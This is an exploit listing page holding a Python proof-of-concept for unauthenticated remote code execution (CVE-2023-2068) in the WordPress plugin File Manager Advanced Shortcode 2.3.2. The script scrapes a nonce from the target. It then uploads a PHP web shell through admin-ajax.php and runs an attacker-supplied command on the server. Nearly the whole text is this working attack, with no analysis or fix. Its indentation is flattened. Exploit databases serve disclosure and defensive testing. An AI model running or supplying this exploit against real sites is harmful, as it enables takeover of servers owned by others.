File manager advanced shortcode 2.3.2 unauthenticated remote code execution (rce) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-06-04 | Type : webapps | Platform : php

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[+] Code ...

# Exploit Title: File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE)
# Date: 05/31/2023
# Exploit Author: Mateus Machado Tesser
# Vendor Homepage: https://advancedfilemanager.com/
# Version: File Manager Advanced Shortcode 2.3.2
# Tested on: Wordpress 6.1 / Linux (Ubuntu) 5.15
# CVE: CVE-2023-2068

import requests
import json
import pprint
import sys
import re

PROCESS = "\033[1;34;40m[*]\033[0m"
SUCCESS = "\033[1;32;40m[+]\033[0m"
FAIL = "\033[1;31;40m[-]\033[0m"

try:
COMMAND = sys.argv[2]
IP = sys.argv[1]
if len(COMMAND) > 1:
pass
if IP:
pass
else:
print(f'Use: {sys.argv[0]} IP COMMAND')
except:
pass

url = 'http://'+IP+'/' # Path to File Manager Advanced Shortcode Panel
print(f"{PROCESS} Searching fmakey")

try:
r = requests.get(url)
raw_fmakey = r.text
fmakey = re.findall('_fmakey.*$',raw_fmakey,re.MULTILINE)[0].split("'")[1]
if len(fmakey) == 0:
print(f"{FAIL} Cannot found fmakey!")
except:
print(f"{FAIL} Cannot found fmakey!")

print(f'{PROCESS} Exploiting Unauthenticated Remote Code Execution via AJAX!')
url = "http://"+IP+"/wp-admin/admin-ajax.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryI52DGCOt37rixRS1", "Accept": "*/*"}
data = "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hashes[l1_cG5nLWNsaXBhcnQtaGFja2VyLWhhY2tlci5wbmc]\"\r\n\r\nexploit.php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nfma_load_shortcode_fma_ui\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"_fmakey\"\r\n\r\n"+fmakey+"\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"url\"\r\n\r\n\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"w\"\r\n\r\nfalse\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"r\"\r\n\r\ntrue\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide\"\r\n\r\nplugins\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"operations\"\r\n\r\nupload,download\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"path_type\"\r\n\r\ninside\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"hide_path\"\r\n\r\nno\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"enable_trash\"\r\n\r\nno\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_allow\"\r\n\r\ntext/x-php\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload_max_size\"\r\n\r\n2G\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"exploit2.php\"\r\nContent-Type: text/x-php\r\n\r\n<?php system($_GET['cmd']);?>\r\n"
data += "------WebKitFormBoundaryI52DGCOt37rixRS1\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n\r\n------WebKitFormBoundaryI52DGCOt37rixRS1--\r\n"
r = requests.post(url, headers=headers, data=data)
print(f"{PROCESS} Sending AJAX request to: {url}")
if 'errUploadMime' in r.text:
print(f'{FAIL} Exploit failed!')
sys.exit()
elif r.headers['Content-Type'].startswith("text/html"):
print(f'{FAIL} Exploit failed! Try to change _fmakey')
sys.exit(0)
else:
print(f'{SUCCESS} Exploit executed with success!')
exploited = json.loads(r.text)
url = ""
print(f'{PROCESS} Getting URL with webshell')
for i in exploited["added"]:
url = i['url']
print(f"{PROCESS} Executing '{COMMAND}'")
r = requests.get(url+'?cmd='+COMMAND)
print(f'{SUCCESS} The application returned ({len(r.text)} length):\n'+r.text)